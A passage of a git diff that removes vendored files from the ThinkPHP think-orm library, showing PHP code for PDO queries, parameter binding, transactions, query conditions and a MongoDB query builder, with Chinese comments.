$this->db->trigger('after_update', $query); - } - - return $result; - } - - /** - * 删除记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return int - * @throws PDOException - */ - public function delete(BaseQuery $query): int - { - // 分析查询表达式 - $query->parseOptions(); - - // 生成删除SQL语句 - $sql = $this->builder->delete($query); - - // 执行操作 - $result = $this->pdoExecute($query, $sql, $query->getBind()); - - if ($result) { - $this->db->trigger('after_delete', $query); - } - - return $result; - } - - /** - * 得到某个字段的值 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $field 字段名 - * @param mixed $default 默认值 - * @param bool $one 返回一个值 - * @return mixed - */ - public function value(BaseQuery $query, string $field, $default = null, bool $one = true) - { - $options = $query->parseOptions(); - - if (isset($options['field'])) { - $query->removeOption('field'); - } - - if (isset($options['group'])) { - $query->group(''); - } - - $query->setOption('field', (array) $field); - - if (!empty($options['cache'])) { - $cacheItem = $this->parseCache($query, $options['cache'], 'value'); - $key = $cacheItem->getKey(); - - if ($this->cache->has($key)) { - return $this->cache->get($key); - } - } - - // 生成查询SQL - $sql = $this->builder->select($query, $one); - - if (isset($options['field'])) { - $query->setOption('field', $options['field']); - } else { - $query->removeOption('field'); - } - - if (isset($options['group'])) { - $query->setOption('group', $options['group']); - } - - // 执行查询操作 - $pdo = $this->getPDOStatement($sql, $query->getBind(), $options['master']); - - $result = $pdo->fetchColumn(); - - if (isset($cacheItem)) { - // 缓存数据 - $cacheItem->set($result); - $this->cacheData($cacheItem); - } - - return false !== $result ? $result : $default; - } - - /** - * 得到某个字段的值 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $aggregate 聚合方法 - * @param mixed $field 字段名 - * @param bool $force 强制转为数字类型 - * @return mixed - */ - public function aggregate(BaseQuery $query, string $aggregate, $field, bool $force = false) - { - if (is_string($field) && 0 === stripos($field, 'DISTINCT ')) { - [$distinct, $field] = explode(' ', $field); - } - - $field = $aggregate . '(' . (!empty($distinct) ? 'DISTINCT ' : '') . $this->builder->parseKey($query, $field, true) . ') AS think_' . strtolower($aggregate); - - $result = $this->value($query, $field, 0, false); - - return $force ? (float) $result : $result; - } - - /** - * 得到某个列的数组 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $column 字段名 多个字段用逗号分隔 - * @param string $key 索引 - * @return array - */ - public function column(BaseQuery $query, string $column, string $key = ''): array - { - $options = $query->parseOptions(); - - if (isset($options['field'])) { - $query->removeOption('field'); - } - - if ($key && '*' != $column) { - $field = $key . ',' . $column; - } else { - $field = $column; - } - - $field = array_map('trim', explode(',', $field)); - - $query->setOption('field', $field); - - if (!empty($options['cache'])) { - // 判断查询缓存 - $cacheItem = $this->parseCache($query, $options['cache'], 'column'); - $name = $cacheItem->getKey(); - - if ($this->cache->has($name)) { - return $this->cache->get($name); - } - } - - // 生成查询SQL - $sql = $this->builder->select($query); - - if (isset($options['field'])) { - $query->setOption('field', $options['field']); - } else { - $query->removeOption('field'); - } - - // 执行查询操作 - $pdo = $this->getPDOStatement($sql, $query->getBind(), $options['master']); - - $resultSet = $pdo->fetchAll(PDO::FETCH_ASSOC); - - if (empty($resultSet)) { - $result = []; - } elseif (('*' == $column || strpos($column, ',')) && $key) { - $result = array_column($resultSet, null, $key); - } else { - if (empty($key)) { - $key = null; - } - - if (strpos($column, ',')) { - $column = null; - } elseif (strpos($column, ' ')) { - $column = substr(strrchr(trim($column), ' '), 1); - } elseif (strpos($column, '.')) { - [$alias, $column] = explode('.', $column); - } - - if (is_string($key) && strpos($key, '.')) { - [$alias, $key] = explode('.', $key); - } - - $result = array_column($resultSet, $column, $key); - } - - if (isset($cacheItem)) { - // 缓存数据 - $cacheItem->set($result); - $this->cacheData($cacheItem); - } - - return $result; - } - - /** - * 根据参数绑定组装最终的SQL语句 便于调试 - * @access public - * @param string $sql 带参数绑定的sql语句 - * @param array $bind 参数绑定列表 - * @return string - */ - public function getRealSql(string $sql, array $bind = []): string - { - foreach ($bind as $key => $val) { - $value = is_array($val) ? $val[0] : $val; - $type = is_array($val) ? $val[1] : PDO::PARAM_STR; - - if ((self::PARAM_FLOAT == $type || PDO::PARAM_STR == $type) && is_string($value)) { - $value = '\'' . addslashes($value) . '\''; - } elseif (PDO::PARAM_INT == $type && '' === $value) { - $value = 0; - } - - // 判断占位符 - $sql = is_numeric($key) ? - substr_replace($sql, $value, strpos($sql, '?'), 1) : - substr_replace($sql, $value, strpos($sql, ':' . $key), strlen(':' . $key)); - } - - return rtrim($sql); - } - - /** - * 参数绑定 - * 支持 ['name'=>'value','id'=>123] 对应命名占位符 - * 或者 ['value',123] 对应问号占位符 - * @access public - * @param array $bind 要绑定的参数列表 - * @return void - * @throws BindParamException - */ - protected function bindValue(array $bind = []): void - { - foreach ($bind as $key => $val) { - // 占位符 - $param = is_numeric($key) ? $key + 1 : ':' . $key; - - if (is_array($val)) { - if (PDO::PARAM_INT == $val[1] && '' === $val[0]) { - $val[0] = 0; - } elseif (self::PARAM_FLOAT == $val[1]) { - $val[0] = is_string($val[0]) ? (float) $val[0] : $val[0]; - $val[1] = PDO::PARAM_STR; - } - - $result = $this->PDOStatement->bindValue($param, $val[0], $val[1]); - } else { - $result = $this->PDOStatement->bindValue($param, $val); - } - - if (!$result) { - throw new BindParamException( - "Error occurred when binding parameters '{$param}'", - $this->config, - $this->getLastsql(), - $bind - ); - } - } - } - - /** - * 存储过程的输入输出参数绑定 - * @access public - * @param array $bind 要绑定的参数列表 - * @return void - * @throws BindParamException - */ - protected function bindParam(array $bind): void - { - foreach ($bind as $key => $val) { - $param = is_numeric($key) ? $key + 1 : ':' . $key; - - if (is_array($val)) { - array_unshift($val, $param); - $result = call_user_func_array([$this->PDOStatement, 'bindParam'], $val); - } else { - $result = $this->PDOStatement->bindValue($param, $val); - } - - if (!$result) { - $param = array_shift($val); - - throw new BindParamException( - "Error occurred when binding parameters '{$param}'", - $this->config, - $this->getLastsql(), - $bind - ); - } - } - } - - /** - * 获得数据集数组 - * @access protected - * @param bool $procedure 是否存储过程 - * @return array - */ - protected function getResult(bool $procedure = false): array - { - if ($procedure) { - // 存储过程返回结果 - return $this->procedure(); - } - - $result = $this->PDOStatement->fetchAll($this->fetchType); - - $this->numRows = count($result); - - return $result; - } - - /** - * 获得存储过程数据集 - * @access protected - * @return array - */ - protected function procedure(): array - { - $item = []; - - do { - $result = $this->getResult(); - if (!empty($result)) { - $item[] = $result; - } - } while ($this->PDOStatement->nextRowset()); - - $this->numRows = count($item); - - return $item; - } - - /** - * 执行数据库事务 - * @access public - * @param callable $callback 数据操作方法回调 - * @return mixed - * @throws PDOException - * @throws \Exception - * @throws \Throwable - */ - public function transaction(callable $callback) - { - $this->startTrans(); - - try { - $result = null; - if (is_callable($callback)) { - $result = $callback($this); - } - - $this->commit(); - return $result; - } catch (\Exception | \Throwable $e) { - $this->rollback(); - throw $e; - } - } - - /** - * 启动事务 - * @access public - * @return void - * @throws \PDOException - * @throws \Exception - */ - public function startTrans(): void - { - try { - $this->initConnect(true); - - ++$this->transTimes; - - if (1 == $this->transTimes) { - $this->linkID->beginTransaction(); - } elseif ($this->transTimes > 1 && $this->supportSavepoint()) { - $this->linkID->exec( - $this->parseSavepoint('trans' . $this->transTimes) - ); - } - $this->reConnectTimes = 0; - } catch (\Exception $e) { - if ($this->reConnectTimes < 4 && $this->isBreak($e)) { - --$this->transTimes; - ++$this->reConnectTimes; - $this->close()->startTrans(); - } else { - throw $e; - } - } - } - - /** - * 用于非自动提交状态下面的查询提交 - * @access public - * @return void - * @throws PDOException - */ - public function commit(): void - { - $this->initConnect(true); - - if (1 == $this->transTimes) { - $this->linkID->commit(); - } - - --$this->transTimes; - } - - /** - * 事务回滚 - * @access public - * @return void - * @throws PDOException - */ - public function rollback(): void - { - $this->initConnect(true); - - if (1 == $this->transTimes) { - $this->linkID->rollBack(); - } elseif ($this->transTimes > 1 && $this->supportSavepoint()) { - $this->linkID->exec( - $this->parseSavepointRollBack('trans' . $this->transTimes) - ); - } - - $this->transTimes = max(0, $this->transTimes - 1); - } - - /** - * 是否支持事务嵌套 - * @return bool - */ - protected function supportSavepoint(): bool - { - return false; - } - - /** - * 生成定义保存点的SQL - * @access protected - * @param string $name 标识 - * @return string - */ - protected function parseSavepoint(string $name): string - { - return 'SAVEPOINT ' . $name; - } - - /** - * 生成回滚到保存点的SQL - * @access protected - * @param string $name 标识 - * @return string - */ - protected function parseSavepointRollBack(string $name): string - { - return 'ROLLBACK TO SAVEPOINT ' . $name; - } - - /** - * 批处理执行SQL语句 - * 批处理的指令都认为是execute操作 - * @access public - * @param BaseQuery $query 查询对象 - * @param array $sqlArray SQL批处理指令 - * @param array $bind 参数绑定 - * @return bool - */ - public function batchQuery(BaseQuery $query, array $sqlArray = [], array $bind = []): bool - { - // 自动启动事务支持 - $this->startTrans(); - - try { - foreach ($sqlArray as $sql) { - $this->pdoExecute($query, $sql, $bind); - } - // 提交事务 - $this->commit(); - } catch (\Exception $e) { - $this->rollback(); - throw $e; - } - - return true; - } - - /** - * 关闭数据库(或者重新连接) - * @access public - * @return $this - */ - public function close() - { - $this->linkID = null; - $this->linkWrite = null; - $this->linkRead = null; - $this->links = []; - - $this->free(); - - return $this; - } - - /** - * 是否断线 - * @access protected - * @param \PDOException|\Exception $e 异常对象 - * @return bool - */ - protected function isBreak($e): bool - { - if (!$this->config['break_reconnect']) { - return false; - } - - $error = $e->getMessage(); - - foreach ($this->breakMatchStr as $msg) { - if (false !== stripos($error, $msg)) { - return true; - } - } - - return false; - } - - /** - * 获取最近一次查询的sql语句 - * @access public - * @return string - */ - public function getLastSql(): string - { - return $this->getRealSql($this->queryStr, $this->bind); - } - - /** - * 获取最近插入的ID - * @access public - * @param BaseQuery $query 查询对象 - * @param string $sequence 自增序列名 - * @return mixed - */ - public function getLastInsID(BaseQuery $query, string $sequence = null) - { - try { - $insertId = $this->linkID->lastInsertId($sequence); - } catch (\Exception $e) { - $insertId = ''; - } - - return $this->autoInsIDType($query, $insertId); - } - - /** - * 获取最近插入的ID - * @access public - * @param BaseQuery $query 查询对象 - * @param string $insertId 自增ID - * @return mixed - */ - protected function autoInsIDType(BaseQuery $query, string $insertId) - { - $pk = $query->getAutoInc(); - - if ($pk) { - $type = $this->getFieldBindType($pk); - - if (PDO::PARAM_INT == $type) { - $insertId = (int) $insertId; - } elseif (self::PARAM_FLOAT == $type) { - $insertId = (float) $insertId; - } - } - - return $insertId; - } - - /** - * 获取最近的错误信息 - * @access public - * @return string - */ - public function getError(): string - { - if ($this->PDOStatement) { - $error = $this->PDOStatement->errorInfo(); - $error = $error[1] . ':' . $error[2]; - } else { - $error = ''; - } - - if ('' != $this->queryStr) { - $error .= "\n [ SQL语句 ] : " . $this->getLastsql(); - } - - return $error; - } - - /** - * 初始化数据库连接 - * @access protected - * @param boolean $master 是否主服务器 - * @return void - */ - protected function initConnect(bool $master = true): void - { - if (!empty($this->config['deploy'])) { - // 采用分布式数据库 - if ($master || $this->transTimes) { - if (!$this->linkWrite) { - $this->linkWrite = $this->multiConnect(true); - } - - $this->linkID = $this->linkWrite; - } else { - if (!$this->linkRead) { - $this->linkRead = $this->multiConnect(false); - } - - $this->linkID = $this->linkRead; - } - } elseif (!$this->linkID) { - // 默认单数据库 - $this->linkID = $this->connect(); - } - } - - /** - * 连接分布式服务器 - * @access protected - * @param boolean $master 主服务器 - * @return PDO - */ - protected function multiConnect(bool $master = false): PDO - { - $config = []; - - // 分布式数据库配置解析 - foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn', 'charset'] as $name) { - $config[$name] = is_string($this->config[$name]) ? explode(',', $this->config[$name]) : $this->config[$name]; - } - - // 主服务器序号 - $m = floor(mt_rand(0, $this->config['master_num'] - 1)); - - if ($this->config['rw_separate']) { - // 主从式采用读写分离 - if ($master) // 主服务器写入 - { - $r = $m; - } elseif (is_numeric($this->config['slave_no'])) { - // 指定服务器读 - $r = $this->config['slave_no']; - } else { - // 读操作连接从服务器 每次随机连接的数据库 - $r = floor(mt_rand($this->config['master_num'], count($config['hostname']) - 1)); - } - } else { - // 读写操作不区分服务器 每次随机连接的数据库 - $r = floor(mt_rand(0, count($config['hostname']) - 1)); - } - $dbMaster = false; - - if ($m != $r) { - $dbMaster = []; - foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn', 'charset'] as $name) { - $dbMaster[$name] = $config[$name][$m] ?? $config[$name][0]; - } - } - - $dbConfig = []; - - foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn', 'charset'] as $name) { - $dbConfig[$name] = $config[$name][$r] ?? $config[$name][0]; - } - - return $this->connect($dbConfig, $r, $r == $m ? false : $dbMaster); - } - - /** - * 启动XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function startTransXa(string $xid) - {} - - /** - * 预编译XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function prepareXa(string $xid) - {} - - /** - * 提交XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function commitXa(string $xid) - {} - - /** - * 回滚XA事务 - * @access public - * @param string $xid XA事务id - * @return void - */ - public function rollbackXa(string $xid) - {} -} diff --git a/vendor/topthink/think-orm/src/db/Query.php b/vendor/topthink/think-orm/src/db/Query.php deleted file mode 100644 index 80e01cd..0000000 --- a/vendor/topthink/think-orm/src/db/Query.php +++ /dev/null @@ -1,451 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use PDOStatement; -use think\helper\Str; - -/** - * PDO数据查询类 - */ -class Query extends BaseQuery -{ - use concern\JoinAndViewQuery; - use concern\ParamsBind; - use concern\TableFieldInfo; - - /** - * 表达式方式指定Field排序 - * @access public - * @param string $field 排序字段 - * @param array $bind 参数绑定 - * @return $this - */ - public function orderRaw(string $field, array $bind = []) - { - $this->options['order'][] = new Raw($field, $bind); - - return $this; - } - - /** - * 表达式方式指定查询字段 - * @access public - * @param string $field 字段名 - * @return $this - */ - public function fieldRaw(string $field) - { - $this->options['field'][] = new Raw($field); - - return $this; - } - - /** - * 指定Field排序 orderField('id',[1,2,3],'desc') - * @access public - * @param string $field 排序字段 - * @param array $values 排序值 - * @param string $order 排序 desc/asc - * @return $this - */ - public function orderField(string $field, array $values, string $order = '') - { - if (!empty($values)) { - $values['sort'] = $order; - - $this->options['order'][$field] = $values; - } - - return $this; - } - - /** - * 随机排序 - * @access public - * @return $this - */ - public function orderRand() - { - $this->options['order'][] = '[rand]'; - return $this; - } - - /** - * 使用表达式设置数据 - * @access public - * @param string $field 字段名 - * @param string $value 字段值 - * @return $this - */ - public function exp(string $field, string $value) - { - $this->options['data'][$field] = new Raw($value); - return $this; - } - - /** - * 表达式方式指定当前操作的数据表 - * @access public - * @param mixed $table 表名 - * @return $this - */ - public function tableRaw(string $table) - { - $this->options['table'] = new Raw($table); - - return $this; - } - - /** - * 获取执行的SQL语句而不进行实际的查询 - * @access public - * @param bool $fetch 是否返回sql - * @return $this|Fetch - */ - public function fetchSql(bool $fetch = true) - { - $this->options['fetch_sql'] = $fetch; - - if ($fetch) { - return new Fetch($this); - } - - return $this; - } - - /** - * 批处理执行SQL语句 - * 批处理的指令都认为是execute操作 - * @access public - * @param array $sql SQL批处理指令 - * @return bool - */ - public function batchQuery(array $sql = []): bool - { - return $this->connection->batchQuery($this, $sql); - } - - /** - * USING支持 用于多表删除 - * @access public - * @param mixed $using USING - * @return $this - */ - public function using($using) - { - $this->options['using'] = $using; - return $this; - } - - /** - * 存储过程调用 - * @access public - * @param bool $procedure 是否为存储过程查询 - * @return $this - */ - public function procedure(bool $procedure = true) - { - $this->options['procedure'] = $procedure; - return $this; - } - - /** - * 指定group查询 - * @access public - * @param string|array $group GROUP - * @return $this - */ - public function group($group) - { - $this->options['group'] = $group; - return $this; - } - - /** - * 指定having查询 - * @access public - * @param string $having having - * @return $this - */ - public function having(string $having) - { - $this->options['having'] = $having; - return $this; - } - - /** - * 指定distinct查询 - * @access public - * @param bool $distinct 是否唯一 - * @return $this - */ - public function distinct(bool $distinct = true) - { - $this->options['distinct'] = $distinct; - return $this; - } - - /** - * 指定强制索引 - * @access public - * @param string $force 索引名称 - * @return $this - */ - public function force(string $force) - { - $this->options['force'] = $force; - return $this; - } - - /** - * 查询注释 - * @access public - * @param string $comment 注释 - * @return $this - */ - public function comment(string $comment) - { - $this->options['comment'] = $comment; - return $this; - } - - /** - * 设置是否REPLACE - * @access public - * @param bool $replace 是否使用REPLACE写入数据 - * @return $this - */ - public function replace(bool $replace = true) - { - $this->options['replace'] = $replace; - return $this; - } - - /** - * 设置当前查询所在的分区 - * @access public - * @param string|array $partition 分区名称 - * @return $this - */ - public function partition($partition) - { - $this->options['partition'] = $partition; - return $this; - } - - /** - * 设置DUPLICATE - * @access public - * @param array|string|Raw $duplicate DUPLICATE信息 - * @return $this - */ - public function duplicate($duplicate) - { - $this->options['duplicate'] = $duplicate; - return $this; - } - - /** - * 设置查询的额外参数 - * @access public - * @param string $extra 额外信息 - * @return $this - */ - public function extra(string $extra) - { - $this->options['extra'] = $extra; - return $this; - } - - /** - * 创建子查询SQL - * @access public - * @param bool $sub 是否添加括号 - * @return string - * @throws Exception - */ - public function buildSql(bool $sub = true): string - { - return $sub ? '( ' . $this->fetchSql()->select() . ' )' : $this->fetchSql()->select(); - } - - /** - * 获取当前数据表的主键 - * @access public - * @return string|array - */ - public function getPk() - { - if (empty($this->pk)) { - $this->pk = $this->connection->getPk($this->getTable()); - } - - return $this->pk; - } - - /** - * 指定数据表自增主键 - * @access public - * @param string $autoinc 自增键 - * @return $this - */ - public function autoinc(string $autoinc) - { - $this->autoinc = $autoinc; - return $this; - } - - /** - * 获取当前数据表的自增主键 - * @access public - * @return string|null - */ - public function getAutoInc() - { - $tableName = $this->getTable(); - - if (empty($this->autoinc) && $tableName) { - $this->autoinc = $this->connection->getAutoInc($tableName); - } - - return $this->autoinc; - } - - /** - * 字段值增长 - * @access public - * @param string $field 字段名 - * @param float $step 增长值 - * @return $this - */ - public function inc(string $field, float $step = 1) - { - $this->options['data'][$field] = ['INC', $step]; - - return $this; - } - - /** - * 字段值减少 - * @access public - * @param string $field 字段名 - * @param float $step 增长值 - * @return $this - */ - public function dec(string $field, float $step = 1) - { - $this->options['data'][$field] = ['DEC', $step]; - return $this; - } - - /** - * 获取当前的查询标识 - * @access public - * @param mixed $data 要序列化的数据 - * @return string - */ - public function getQueryGuid($data = null): string - { - return md5($this->getConfig('database') . serialize(var_export($data ?: $this->options, true)) . serialize($this->getBind(false))); - } - - /** - * 执行查询但只返回PDOStatement对象 - * @access public - * @return PDOStatement - */ - public function getPdo(): PDOStatement - { - return $this->connection->pdo($this); - } - - /** - * 使用游标查找记录 - * @access public - * @param mixed $data 数据 - * @return \Generator - */ - public function cursor($data = null) - { - if (!is_null($data)) { - // 主键条件分析 - $this->parsePkWhere($data); - } - - $this->options['data'] = $data; - - $connection = clone $this->connection; - - return $connection->cursor($this); - } - - /** - * 分批数据返回处理 - * @access public - * @param integer $count 每次处理的数据数量 - * @param callable $callback 处理回调方法 - * @param string|array $column 分批处理的字段名 - * @param string $order 字段排序 - * @return bool - * @throws Exception - */ - public function chunk(int $count, callable $callback, $column = null, string $order = 'asc'): bool - { - $options = $this->getOptions(); - $column = $column ?: $this->getPk(); - - if (isset($options['order'])) { - unset($options['order']); - } - - $bind = $this->bind; - - if (is_array($column)) { - $times = 1; - $query = $this->options($options)->page($times, $count); - } else { - $query = $this->options($options)->limit($count); - - if (strpos($column, '.')) { - [$alias, $key] = explode('.', $column); - } else { - $key = $column; - } - } - - $resultSet = $query->order($column, $order)->select(); - - while (count($resultSet) > 0) { - if (false === call_user_func($callback, $resultSet)) { - return false; - } - - if (isset($times)) { - $times++; - $query = $this->options($options)->page($times, $count); - } else { - $end = $resultSet->pop(); - $lastId = is_array($end) ? $end[$key] : $end->getData($key); - - $query = $this->options($options) - ->limit($count) - ->where($column, 'asc' == strtolower($order) ? '>' : '<', $lastId); - } - - $resultSet = $query->bind($bind)->order($column, $order)->select(); - } - - return true; - } -} diff --git a/vendor/topthink/think-orm/src/db/Raw.php b/vendor/topthink/think-orm/src/db/Raw.php deleted file mode 100644 index 833fbf0..0000000 --- a/vendor/topthink/think-orm/src/db/Raw.php +++ /dev/null @@ -1,71 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -/** - * SQL Raw - */ -class Raw -{ - /** - * 查询表达式 - * - * @var string - */ - protected $value; - - /** - * 参数绑定 - * - * @var array - */ - protected $bind = []; - - /** - * 创建一个查询表达式 - * - * @param string $value - * @param array $bind - * @return void - */ - public function __construct(string $value, array $bind = []) - { - $this->value = $value; - $this->bind = $bind; - } - - /** - * 获取表达式 - * - * @return string - */ - public function getValue(): string - { - return $this->value; - } - - /** - * 获取参数绑定 - * - * @return string - */ - public function getBind(): array - { - return $this->bind; - } - - public function __toString() - { - return (string) $this->value; - } -} diff --git a/vendor/topthink/think-orm/src/db/Where.php b/vendor/topthink/think-orm/src/db/Where.php deleted file mode 100644 index 0880460..0000000 --- a/vendor/topthink/think-orm/src/db/Where.php +++ /dev/null @@ -1,182 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use ArrayAccess; - -/** - * 数组查询对象 - */ -class Where implements ArrayAccess -{ - /** - * 查询表达式 - * @var array - */ - protected $where = []; - - /** - * 是否需要把查询条件两边增加括号 - * @var bool - */ - protected $enclose = false; - - /** - * 创建一个查询表达式 - * - * @param array $where 查询条件数组 - * @param bool $enclose 是否增加括号 - */ - public function __construct(array $where = [], bool $enclose = false) - { - $this->where = $where; - $this->enclose = $enclose; - } - - /** - * 设置是否添加括号 - * @access public - * @param bool $enclose - * @return $this - */ - public function enclose(bool $enclose = true) - { - $this->enclose = $enclose; - return $this; - } - - /** - * 解析为Query对象可识别的查询条件数组 - * @access public - * @return array - */ - public function parse(): array - { - $where = []; - - foreach ($this->where as $key => $val) { - if ($val instanceof Raw) { - $where[] = [$key, 'exp', $val]; - } elseif (is_null($val)) { - $where[] = [$key, 'NULL', '']; - } elseif (is_array($val)) { - $where[] = $this->parseItem($key, $val); - } else { - $where[] = [$key, '=', $val]; - } - } - - return $this->enclose ? [$where] : $where; - } - - /** - * 分析查询表达式 - * @access protected - * @param string $field 查询字段 - * @param array $where 查询条件 - * @return array - */ - protected function parseItem(string $field, array $where = []): array - { - $op = $where[0]; - $condition = $where[1] ?? null; - - if (is_array($op)) { - // 同一字段多条件查询 - array_unshift($where, $field); - } elseif (is_null($condition)) { - if (is_string($op) && in_array(strtoupper($op), ['NULL', 'NOTNULL', 'NOT NULL'], true)) { - // null查询 - $where = [$field, $op, '']; - } elseif (is_null($op) || '=' == $op) { - $where = [$field, 'NULL', '']; - } elseif ('<>' == $op) { - $where = [$field, 'NOTNULL', '']; - } else { - // 字段相等查询 - $where = [$field, '=', $op]; - } - } else { - $where = [$field, $op, $condition]; - } - - return $where; - } - - /** - * 修改器 设置数据对象的值 - * @access public - * @param string $name 名称 - * @param mixed $value 值 - * @return void - */ - public function __set($name, $value) - { - $this->where[$name] = $value; - } - - /** - * 获取器 获取数据对象的值 - * @access public - * @param string $name 名称 - * @return mixed - */ - public function __get($name) - { - return $this->where[$name] ?? null; - } - - /** - * 检测数据对象的值 - * @access public - * @param string $name 名称 - * @return bool - */ - public function __isset($name) - { - return isset($this->where[$name]); - } - - /** - * 销毁数据对象的值 - * @access public - * @param string $name 名称 - * @return void - */ - public function __unset($name) - { - unset($this->where[$name]); - } - - // ArrayAccess - public function offsetSet($name, $value) - { - $this->__set($name, $value); - } - - public function offsetExists($name) - { - return $this->__isset($name); - } - - public function offsetUnset($name) - { - $this->__unset($name); - } - - public function offsetGet($name) - { - return $this->__get($name); - } - -} diff --git a/vendor/topthink/think-orm/src/db/builder/Mongo.php b/vendor/topthink/think-orm/src/db/builder/Mongo.php deleted file mode 100644 index 823156b..0000000 --- a/vendor/topthink/think-orm/src/db/builder/Mongo.php +++ /dev/null @@ -1,675 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); -namespace think\db\builder; - -use MongoDB\BSON\Javascript; -use MongoDB\BSON\ObjectID; -use MongoDB\BSON\Regex; -use MongoDB\Driver\BulkWrite; -use MongoDB\Driver\Command; -use MongoDB\Driver\Exception\InvalidArgumentException; -use MongoDB\Driver\Query as MongoQuery; -use think\db\connector\Mongo as Connection; -use think\db\exception\DbException as Exception; -use think\db\Mongo as Query; - -class Mongo -{ - // connection对象实例 - protected $connection; - // 最后插入ID - protected $insertId = []; - // 查询表达式 - protected $exp = ['<>' => 'ne', '=' => 'eq', '>' => 'gt', '>=' => 'gte', '<' => 'lt', '<=' => 'lte', 'in' => 'in', 'not in' => 'nin', 'nin' => 'nin', 'mod' => 'mod', 'exists' => 'exists', 'null' => 'null', 'notnull' => 'not null', 'not null' => 'not null', 'regex' => 'regex', 'type' => 'type', 'all' => 'all', '> time' => '> time', '< time' => '< time', 'between' => 'between', 'not between' => 'not between', 'between time' => 'between time', 'not between time' => 'not between time', 'notbetween time' => 'not between time', 'like' => 'like', 'near' => 'near', 'size' => 'size']; - - /** - * 架构函数 - * @access public - * @param Connection $connection 数据库连接对象实例 - */ - public function __construct(Connection $connection) - { - $this->connection = $connection; - } - - /** - * 获取当前的连接对象实例 - * @access public - * @return Connection - */ - public function getConnection(): Connection - { - return $this->connection; - } - - /** - * key分析 - * @access protected - * @param string $key - * @return string - */ - protected function parseKey(Query $query, string $key): string - { - if (0 === strpos($key, '__TABLE__.')) { - [$collection, $key] = explode('.', $key, 2); - } - - if ('id' == $key && $this->connection->getConfig('pk_convert_id')) { - $key = '_id'; - } - - return trim($key); - } - - /** - * value分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $value - * @param string $field - * @return string - */ - protected function parseValue(Query $query, $value, $field = '') - { - if ('_id' == $field && 'ObjectID' == $this->connection->getConfig('pk_type') && is_string($value)) { - try { - return new ObjectID($value); - } catch (InvalidArgumentException $e) { - return new ObjectID(); - } - } - - return $value; - } - - /** - * insert数据分析 - * @access protected - * @param Query $query 查询对象 - * @param array $data 数据 - * @return array - */ - protected function parseData(Query $query, array $data): array - { - if (empty($data)) { - return []; - } - - $result = []; - - foreach ($data as $key => $val) { - $item = $this->parseKey($query, $key); - - if (is_object($val)) { - $result[$item] = $val; - } elseif (isset($val[0]) && 'exp' == $val[0]) { - $result[$item] = $val[1]; - } elseif (is_null($val)) { - $result[$item] = 'NULL'; - } else { - $result[$item] = $this->parseValue($query, $val, $key); - } - } - - return $result; - } - - /** - * Set数据分析 - * @access protected - * @param Query $query 查询对象 - * @param array $data 数据 - * @return array - */ - protected function parseSet(Query $query, array $data): array - { - if (empty($data)) { - return []; - } - - $result = []; - - foreach ($data as $key => $val) { - $item = $this->parseKey($query, $key); - - if (is_array($val) && isset($val[0]) && is_string($val[0]) && 0 === strpos($val[0], '$')) { - $result[$val[0]][$item] = $this->parseValue($query, $val[1], $key); - } else { - $result['$set'][$item] = $this->parseValue($query, $val, $key); - } - } - - return $result; - } - - /** - * 生成查询过滤条件 - * @access public - * @param Query $query 查询对象 - * @param mixed $where - * @return array - */ - public function parseWhere(Query $query, array $where): array - { - if (empty($where)) { - $where = []; - } - - $filter = []; - foreach ($where as $logic => $val) { - $logic = '$' . strtolower($logic); - foreach ($val as $field => $value) { - if (is_array($value)) { - if (key($value) !== 0) { - throw new Exception('where express error:' . var_export($value, true)); - } - $field = array_shift($value); - } elseif (!($value instanceof \Closure)) { - throw new Exception('where express error:' . var_export($value, true)); - } - - if ($value instanceof \Closure) { - // 使用闭包查询 - $query = new Query($this->connection); - call_user_func_array($value, [ & $query]); - $filter[$logic][] = $this->parseWhere($query, $query->getOptions('where')); - } else { - if (strpos($field, '|')) { - // 不同字段使用相同查询条件(OR) - $array = explode('|', $field); - foreach ($array as $k) { - $filter['$or'][] = $this->parseWhereItem($query, $k, $value); - } - } elseif (strpos($field, '&')) { - // 不同字段使用相同查询条件(AND) - $array = explode('&', $field); - foreach ($array as $k) { - $filter['$and'][] = $this->parseWhereItem($query, $k, $value); - } - } else { - // 对字段使用表达式查询 - $field = is_string($field) ? $field : ''; - $filter[$logic][] = $this->parseWhereItem($query, $field, $value); - } - } - } - } - - $options = $query->getOptions(); - if (!empty($options['soft_delete'])) { - // 附加软删除条件 - [$field, $condition] = $options['soft_delete']; - $filter['$and'][] = $this->parseWhereItem($query, $field, $condition); - } - - return $filter; - } - - // where子单元分析 - protected function parseWhereItem(Query $query, $field, $val): array - { - $key = $field ? $this->parseKey($query, $field) : ''; - // 查询规则和条件 - if (!is_array($val)) { - $val = ['=', $val]; - } - [$exp, $value] = $val; - - // 对一个字段使用多个查询条件 - if (is_array($exp)) { - $data = []; - foreach ($val as $value) { - $exp = $value[0]; - $value = $value[1]; - if (!in_array($exp, $this->exp)) { - $exp = strtolower($exp); - if (isset($this->exp[$exp])) { - $exp = $this->exp[$exp]; - } - } - $k = '$' . $exp; - $data[$k] = $value; - } - $result[$key] = $data; - return $result; - } elseif (!in_array($exp, $this->exp)) { - $exp = strtolower($exp); - if (isset($this->exp[$exp])) { - $exp = $this->exp[$exp]; - } else { - throw new Exception('where express error:' . $exp); - } - } - - $result = []; - if ('=' == $exp) { - // 普通查询 - $result[$key] = $this->parseValue($query, $value, $key); - } elseif (in_array($exp, ['neq', 'ne', 'gt', 'egt', 'gte', 'lt', 'lte', 'elt', 'mod'])) { - // 比较运算 - $k = '$' . $exp; - $result[$key] = [$k => $this->parseValue($query, $value, $key)]; - } elseif ('null' == $exp) { - // NULL 查询 - $result[$key] = null; - } elseif ('not null' == $exp) { - $result[$key] = ['$ne' => null]; - } elseif ('all' == $exp) { - // 满足所有指定条件 - 